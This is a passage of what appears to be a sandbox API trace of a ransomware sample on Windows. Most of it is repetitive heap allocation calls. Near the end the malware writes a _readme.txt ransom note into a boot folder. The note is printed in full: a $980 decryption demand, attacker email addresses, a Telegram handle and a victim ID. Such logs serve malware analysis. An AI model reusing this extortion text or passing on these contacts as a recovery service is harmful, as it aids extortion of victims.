[0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.611] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.611] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.612] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.612] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc2e) returned 0x3092b80 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.613] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.613] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.614] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.614] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.615] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x860) returned 0x3092b80 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.615] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0xc46) returned 0x3092b80 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x840) returned 0x307fdd8 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x830) returned 0x307fdd8 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.616] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.616] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x820) returned 0x307fdd8 [0119.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x307fdd8 | out: hHeap=0x5e0000) returned 1 [0119.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.617] RtlAllocateHeap (HeapHandle=0x5e0000, Flags=0x0, Size=0x20) returned 0x3022b50 [0119.617] PathFindFileNameW (pszPath="C:\\Boot\\ja-JP\\") returned="ja-JP\\" [0119.617] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0119.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b28 | out: hHeap=0x5e0000) returned 1 [0119.617] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0119.617] PathFindFileNameW (pszPath="") returned="" [0119.617] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x754f0000 [0119.617] GetProcAddress (hModule=0x754f0000, lpProcName="SHGetFolderPathW") returned 0x75575708 [0119.617] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x3092b80 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0119.617] FreeLibrary (hLibModule=0x754f0000) returned 1 [0119.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b50 | out: hHeap=0x5e0000) returned 1 [0119.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3092b80 | out: hHeap=0x5e0000) returned 1 [0119.617] HeapFree (in: hHeap=0x5e0000, dwFlags=0x0, lpMem=0x3022b78 | out: hHeap=0x5e0000) returned 1 [0119.617] PathAppendW (in: pszPath="C:\\Boot\\ja-JP\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 1 [0119.618] PathFileExistsW (pszPath="C:\\Boot\\ja-JP\\_readme.txt") returned 0 [0119.618] lstrcpyW (in: lpString1=0x3095780, lpString2="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf" [0119.618] lstrcatW (in: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudf", lpString2="plhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M" | out: lpString1="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our e-mail:\r\ngorentos@bitmessage.ch\r\n\r\nReserve e-mail address to contact us:\r\nferast@firemail.cc\r\n\r\nOur Telegram account:\r\n@datarestore\r\n\r\nYour personal ID:\r\n106Asdj475yiudfplhRwweYuyAJHh7eLian6WZIk6YSFqX6xEWYVv4M") returned="ATTENTION!\r\n\r\nDon't worry, you can return all your files!\r\nAll your files like photos, databases, documents and other important are encrypted with strongest encryption and unique key.\r\nThe only method of recovering files is to purchase decrypt tool and unique key for you.\r\nThis software will decrypt all your encrypted files.\r\nWhat guarantees you have?\r\nYou can send one of your encrypted file from your PC and we decrypt it for free.\r\nBut we can decrypt only 1 file for free. File must not contain valuable information.\r\nYou can get and look video overview decrypt tool:\r\nhttps://we.tl/t-i9Z5mq0D52\r\nPrice of private key and decrypt software is $980.\r\nDiscount 50% available if you contact us first 72 hours, that's price for you is $490.\r\nPlease note that you'll never restore your data without payment.\r\nCheck your e-mail \"Spam\" or \"Junk\" folder if you don't get answer more than 6 hours.\r\n\r\n\r\nTo get this software you need write on our 